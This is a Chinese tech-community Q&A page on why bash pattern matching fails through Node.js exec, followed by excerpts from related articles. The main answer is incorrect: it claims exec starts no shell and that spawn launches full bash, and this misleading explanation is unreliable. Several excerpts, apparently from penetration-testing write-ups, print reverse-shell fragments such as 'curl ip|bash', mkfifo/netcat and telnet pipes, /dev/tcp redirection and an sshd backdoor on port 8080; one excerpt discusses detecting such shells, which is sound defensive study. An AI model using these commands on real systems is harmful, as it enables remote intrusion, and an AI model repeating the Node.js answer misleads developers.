首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

为什么我的bash模式匹配不能正常工作,当‘管道’通过nodejs exec?

在使用bash模式匹配时,通过nodejs exec执行命令时可能会出现无法正常工作的情况。这是因为bash模式匹配是bash shell的特性,而exec函数在执行命令时,并不会启动一个完整的bash shell环境,而是直接执行指定的命令。

由于exec函数不会启动bash shell,因此无法使用bash的特性,包括模式匹配。如果你想要在nodejs中使用bash模式匹配,可以考虑使用其他方法,例如使用正则表达式进行匹配。

另外,如果你需要在nodejs中执行复杂的bash命令,可以考虑使用child_process模块中的spawn函数,它可以启动一个完整的bash shell,并执行指定的命令,这样就可以正常使用bash的特性,包括模式匹配。

总结起来,bash模式匹配不能正常工作的原因是exec函数不会启动一个完整的bash shell环境,解决方法是使用其他方法进行匹配,如正则表达式,或者使用child_process模块中的spawn函数启动完整的bash shell。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

不一样的 反弹Shell 系统剖析

当反弹shell运行后,在控制端输入 bash -i ,如果无法产生交互式,则说明是命令执行类。...client向server发送请求,server将命令内容响应给client, client 获取命令内容,通过管道发送给bash执行,并读取执行结果,最后通过请求再发给server,完成一个流程。...无论是半交互还是非交互的反弹shell,有一个明显的特征,bash的输入输出要么连接着管道,要么连接着socket,但是伪终端生成反弹shell,输入输出和正常情况一样。...接着查看一下反弹 bash的输入输出上是否有管道或者socket绑定,我们发现bash 的输入输出和正常一样,传统的检测策略:依靠bash 输入输出绑定管道和socket的检测方式失效了。 ?...shell匹配控制端的本地终端。

3.1K40

100个Linux命令(7)-进程管理

pkill和pgrep命令是同族命令,都是先通过给定的匹配模式搜索到指定的进程,然后发送信号(pkill)或列出匹配的进程(pgrep),pgrep就不介绍了。...:匹配给定终端,终端名称不能带上"/dev/"前缀,其实"w"命令获得终端名就满足此处条件了,所以pkill可以直接杀掉整个终端 -v:反向匹配 -signal:指定发送的信号,可以是数值也可以是字符代表的信号...在当前bash环境下,处于可运行状态(即就绪态)时,当执行cp命令时,首先fork出一个bash子进程,然后在子bash上exec加载cp程序,cp子进程进入等待队列,由于在命令行下敲的命令,所以优先级较高...执行 cp 命令敲入回车后,当前 bash 通过 exec 加载 cp 程序替代子 bash。请不要在此纠结子 bash 和子 shell,如果搞不清楚他们的关系,就当他们是同一种东西好了。...所以该信号可以解除僵尸进程, 也可以让非正常退出的进程工作得以正常的clean-up,释放资源,保存状态等。

1.7K20
  • nodejs写bash脚本终极方案!

    后来就开始探索,如果用node脚本代替bash该多好啊,经过一天折腾逐渐发现一个神器,Google旗下的zx库,先别着急,我先不介绍这个库,我们先看看目前主流用node如何编写bash脚本,就知道为啥它是神器了...◆ node执行bash脚本: 勉强解决方案:child_process API 例如 child_process的API里面exec命令 const { exec } = require("child_process...,首先exec是异步的,但是我们bash脚本命令很多都是同步的。...写bash脚本的方案了,如果你们那边的node环境不能随便升级,我觉得shelljs确实够用了。...import模块就行,不用其它工具转义 2、自带支持管道操作pipe方法 3、自带fetch库,可以进行网络请求,自带chalk库,可以打印有颜色的字体,自带错误处理nothrow方法,如果bash命令出错

    3.9K20

    深入理解NodeJS多进程

    序言一次面试中,我提到自己用过pm2,面试接着问:「那你知道pm2父子进程通信方式吗」。我大概听说pm2有cluster模式,但不清楚父子进程如何通信。面试结束后把NodeJS的多进程重新整理了一下。...下面介绍在NodeJS中通过socket、管道、信号实现的进程间通信。...管道本质上就是内核中的一个缓存,当进程创建一个管道后,Linux会返回两个文件描述符,一个是写入端的描述符(fd1),一个是输出端的描述符(fd0),可以通过这两个描述符往管道写入或者读取数据。...NodeJS中也是通过net模块实现管道通信,与socket区别是server listen的和client connect的都是特定格式的管道名。管道的通信效率比较低下,一般不用它作为进程通信方案。...pm2利用NodeJS的cluster模块实现了集群能力,当配置exec_mode为cluster时候,pm2就会自动使用cluster创建多个进程,也就有了负载均衡的能力。

    1.8K20

    理解NodeJS多进程

    序言一次面试中,我提到自己用过pm2,面试接着问:「那你知道pm2父子进程通信方式吗」。我大概听说pm2有cluster模式,但不清楚父子进程如何通信。面试结束后把NodeJS的多进程重新整理了一下。...下面介绍在NodeJS中通过socket、管道、信号实现的进程间通信。...管道本质上就是内核中的一个缓存,当进程创建一个管道后,Linux会返回两个文件描述符,一个是写入端的描述符(fd1),一个是输出端的描述符(fd0),可以通过这两个描述符往管道写入或者读取数据。...NodeJS中也是通过net模块实现管道通信,与socket区别是server listen的和client connect的都是特定格式的管道名。管道的通信效率比较低下,一般不用它作为进程通信方案。...pm2利用NodeJS的cluster模块实现了集群能力,当配置exec_mode为cluster时候,pm2就会自动使用cluster创建多个进程,也就有了负载均衡的能力。

    1.2K00

    Shell特殊字符

    和~-一样,表示前一个工作目录。 cd -,回到前一个工作目录,不能echo - 来查看。 关于上面的特殊变量的几个知识点: (1)$@与$*的区别?...26 ${##} 模式匹配截断,用法${variable##pattern} 这种模式时,shell在variable中查找给定的模式pattern,如果是存在,就从命令行把variable中的内容去掉左边最长的匹配模式...27 ${%} 模式匹配截断,用法${variable%pattern},这种模式时,shell在variable中查找,看它是否一给的模式pattern结尾,如果是,就从命令行把variable中的内容去掉右边最短的匹配模式...28 ${%%} 模式匹配截断,用法${variable%%pattern},这种模式时,shell在variable中查找,看它是否一给的模式pattern结尾,如果是,就从命令行把variable中的内容去掉右边最长的匹配模式...68 标准输入与输出重定向运算符 exec 6filename,通过exec命令,以读写的方式将文件描述符6绑定到指定文件 命令功能符。 序号 符号 作用 示例 61 . 点号。

    5.2K10

    nodejs 写 bash 脚本终极方案!

    后来就开始探索,如果用node脚本代替bash该多好啊,经过一天折腾逐渐发现一个神器,Google旗下的zx库,先别着急,我先不介绍这个库,我们先看看目前主流用node如何编写bash脚本,就知道为啥它是神器了...,首先exec是异步的,但是我们bash脚本命令很多都是同步的。...写bash脚本的方案了,如果你们那边的node环境不能随便升级,我觉得shelljs确实够用了。...import模块就行,不用其它工具转义 2、自带支持管道操作pipe方法 3、自带fetch库,可以进行网络请求,自带chalk库,可以打印有颜色的字体,自带错误处理nothrow方法,如果bash命令出错...你的点赞、在看和关注是对我最大的支持!

    2.6K20

    shell 学习笔记(18)

    在tar cvf - *当中,表示标准输出,因为f参数后面跟的是输出的, 这个命令的意思就是把当前目录的所有文件,tar打包到标准输出当中 然后通过管道,这个命令的标准输出作为后面 (cd...[[:alnum:].]*).*#\1#p"|sort|uniq -c|sort -k1rn 上面的 sed 有一行上不能匹配多个网址的 bug,因为sed需要完全匹配后才能print,下面用...vim中,需要在正常模式下按 "+p, 要将vim某个粘贴板里的内容粘贴进来,需要退出编辑模式,在正常模式按"Np,其中N为粘贴板号, 如上所述,可以按"5p将5号粘贴板里的内容粘贴进来...为什么dd命令的进度输出要killall命令来激发呢?...-newer `date -I -d'3 days ago'` /tmp/mstat/2013-03-24 1797.sed 模式匹配//与模式替换s///的语法区别: 当都是 / 做分隔符并无区别

    2K60

    SHELL(bash)脚本编程八:技巧

    至此,我们介绍了linux系统中常用命令的使用方法,简述了bash程序的使用方法和工作流程。在使用bash编写脚本程序时,熟练掌握这些工具的用法,往往能够达到事半功倍的效果。...本文将通过讲述一些实例,试着探讨bash脚本编程的技巧。需要说明的是,这里的技巧是多角度寻求解决方案的思路,是建立在对各种命令和bash编程技法深刻理解的基础之上的。...分析:寻找名字符合某个模式的文件可以用find,但find不能控制寻找到的文件数量,也许可以用for循环控制一下,查看文件的第一行有许多方法,可以用head、sed等。 根据以上思路写出脚本: #!.../bin/bash grep -vxf a b|tee c|wc -l 此方案利用grep的-f选项将文件a中的每行最为匹配模式匹配文件b的内容,-v表示不匹配,然后通过管道交给命令tee写入文件c中,...然后在通过管道将标准输出交给wc命令统计行数。

    63820

    从一道题目中学习反弹shell

    协议,它可以相对较简单的建立一些连接,接下来了解一下要用到的参数 -l 使用监听模式,管控传入的资料。...进行反弹shell 这个就是用于绕过的,当目标机存在某些防护过滤了一些字符时,我们可以通过这个来实现反弹shell,语句如下 curl ip|bash 它的话其实就是以bash解析shell,对ip进行...它为用户提供了在本地计算机上完成远程主机工作的能力。...port2 这个的话就是用talnet主动连接攻击机的某个端口,然后将输出信息作为bash的输入,即用bash执行其输出信息,接下来用管道符将bash的输出重定向到talnet连接的攻击机的另一个端口下...port 0bash 1>a 就是创建一个管道a,然后用talent与攻击机的某个端口进行连接,再用重定向将标准输入定向到管道a中,接下来再用管道符|,将左边的输出作为右边的输入,也就是说用

    63910

    Linux常用命令09 - sed

    它可以对文件和输入流(如管道)执行基本的文本操作。 使用 sed,您可以搜索、查找和替换、插入和删除单词和行。 它支持基本的和扩展的正则表达式,允许您匹配复杂的模式。...若要使模式匹配不区分大小写,请使用 I 标志。...bin/bash demo foobar number sed 的另一个有用特性是,您可以使用与匹配模式相对应的 & 符号。...这可以通过使用 find 或 grep 等命令递归地查找目录中的文件并将文件名管道化为 sed 来实现。 下面的命令将递归搜索当前工作目录文件夹中的文件,并将文件名传递给 sed。 find ....-type f -name "*.md" -print0 | xargs -0 sed -i 's/foo/bar/g' 另一种选择是使用 grep 命令递归地查找包含搜索模式的所有文件,然后将文件名通过管道传递给

    2.1K30

    shell 快速入门

    /bin/bash # 特殊字符 # 通配符 # 通配符用于模式匹配,常见的通配符有 *、? 和用 [] 括起来的字符序列。...# 例如:a* 可以匹配以 a 开头的任意长度的字符串,但是不能包含 点号和斜线号 # 所以 a* 不能匹配 abc.txt # ?...不同的 shell 环境可能会有所差别,比如我在 mac 的 zsh 下就不能正常使用 exec 重定向 # Here Document # here doc 又称为 此处文档,用于在命令或脚本中按行输入文本.../bin/bash # 字符处理 # 管道 # 从一个命令中读取输出,作为另一个命令的输入 # 示例 # ls | grep .sh | cut -f1 -d'....输出行号 # -v 反向匹配 # 其中 '需要匹配的字符' 支持正则表达式模式 grep -in 'func' 01_变量.sh # sort # sort 可以对无序的数据进行排序 # sort [

    1.9K30

    Node.js CLI 工具最佳实践

    3 通用性 本节将介绍使 Node.js CLI 与其他命令行工具无缝集成有关的最佳实践,并遵循 CLI 正常运行的约定。 本节将回答以下问题: 我可以导出 CLI 的输出以便于分析吗?...我可以将 CLI 的输出通过管道传递到另一个命令行工具的输入吗? 是否可以将其他工具的结果通过管道传输到此 CLI?...3.1 接受 STDIN 作为输入 ✅ 正确: 对于数据驱动的命令行应用,用户可以轻松的通过管道将数据输入到 STDIN。...3.2 结构化输出 ✅ 正确: 通过某个参数来允许应用的结果进行结构化的输出,这样使得数据更容易处理和解析。 ❌ 错误: 用户可能需要使用复杂的正则来解析和匹配 CLI 的输出结果。...,当通过手动连接它们时,会导致程序不能在不同的平台之前相互操作。

    3.3K10

    面试官问你关于node的那些事(进阶篇)

    )导出,具体使用参数 view:模板的路径 locals:渲染模板时传进去的本地变量 callback:如果定义了回调函数,则当渲染工作完成时才被调用,返回渲染好的字符串(正确)或者错误信息 ❌ 复制代码...通过上述代码我们就创建了一个支持多进程和负载均衡的服务,运行结果如下? ? ❝ 啊呆?同学:那为什么多个进程可以监听同一个端口呢?...pm2 start test.js -i 2 意思是cluster mode 模式启动2个app.js的应用实例,这2个应用程序会自动进行负载均衡,- i后面的数字表示要启动的工作线程的数量。...(GC),nodejs是执行javascript的V8引擎,也就是说nodejs的GC就是说V8引擎的GC,而基于GC的原理,内存泄漏就是应该被回收的内存,换句话说就是本应该被标记为可达到对象却没有被正常回收...exec: 衍生一个 shell 并在该 shell 中运行命令,当完成时则将stdout 和 stderr 传给回调函数,exec的第一个参数,跟shell命令完全相似,场景用来执行命令较多 spawn

    2.9K30

    【前端】Ubuntu16下nodejs+npm+vue环境配置

    apt-get安装,看似容易 apt-get install nodejs-legacy 但是这么一安装后,在后续安装npm的时候,出现版本不匹配的问题,被npm要求强制升级,然而apt-get的升级日常神坑...: nvm ls 展示已安装的nodejs版本列表(实际上还包括使用情况) nvm install 安装新的nodejs版本 nvm use 将当前系统的nodejs版本切换到指定的版本 nvm alias...npm安装 正常情况下,当nvm正确安装后,与之匹配的npm也将安装完毕,可以使用如下命令检测下 npm -v 类似于nvm,正常显示版本号则表示安装正常。...(注:笔者在运行完之前的配置过程后,npm已经自动安装为了与nodejs版本匹配的版本,正常情况下这应该是一个自动的过程。...(实际上权限不够也应该尽量通过修改系统权限等方式解决) 安装全局包的时候,一定要记得使用-g命令,表示全局安装。

    90750

    关于Shell你想知道的都在这儿

    利用系统特殊设备文件/dev/tcp[当然,有这种特性的文件并不止这一个],语句的意思其实很简单,通俗点儿讲就是把bash的数据全部通过/dev/tcp建立的socket发过去,以此来达到反弹shell...利用sshd来反弹shell,ln -f的意思就是把原有的数据清空,整体语句的意思通俗点儿讲,就是把sshd绑定在本地的8080端口上,这样当别人从8080这个端口进来的时候就相当于直接进到本机的sshd...利用最古老的nc来反弹,但默认正常发行版中默认带的那个nc都是阉割版的,即没有-e选项,也就意味着你并不能直接用它反弹shell,好在强大的linux为我们提供了一个建立管道的工具mkfifo和bash...本身的各种管道特性,我们就可以利这种方式,把bash的数据通过管道反弹走 普通nc反弹 C:\>nc -lvp 8080# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin...利用udp来反弹shell C:\>nc -l -p 53 -u 注意这里务必要用udp的模式来接# python udpshell.py 192.168.1.128 53 udp ?

    1.3K50

    你不知道的RabbitMQ集群架构全解

    Cookie”部分; 步骤二:加入RabbitMQ节点到集群 设置节点1: docker exec -it myrabbit1 bash rabbitmqctl stop_app rabbitmqctl...reset rabbitmqctl start_app exit 设置节点2,加入到集群: docker exec -it myrabbit2 bash rabbitmqctl stop_app...设置节点3,加入到集群: docker exec -it myrabbit3 bash rabbitmqctl stop_app rabbitmqctl reset rabbitmqctl join_cluster...镜像队列的工作原理:在某种程度上你可以将镜像队列视为,拥有一个隐藏的fanout交换器,它指示者信道将消息分发到从队列上。...设置镜像队列 设置镜像队列命令:“rabbitmqctl set_policy 名称 匹配模式(正则) 镜像定义”, 例如,设置名称为mypolicy的镜像队列,匹配所有名称是amp开头的队列都存储在2

    1.4K10
    领券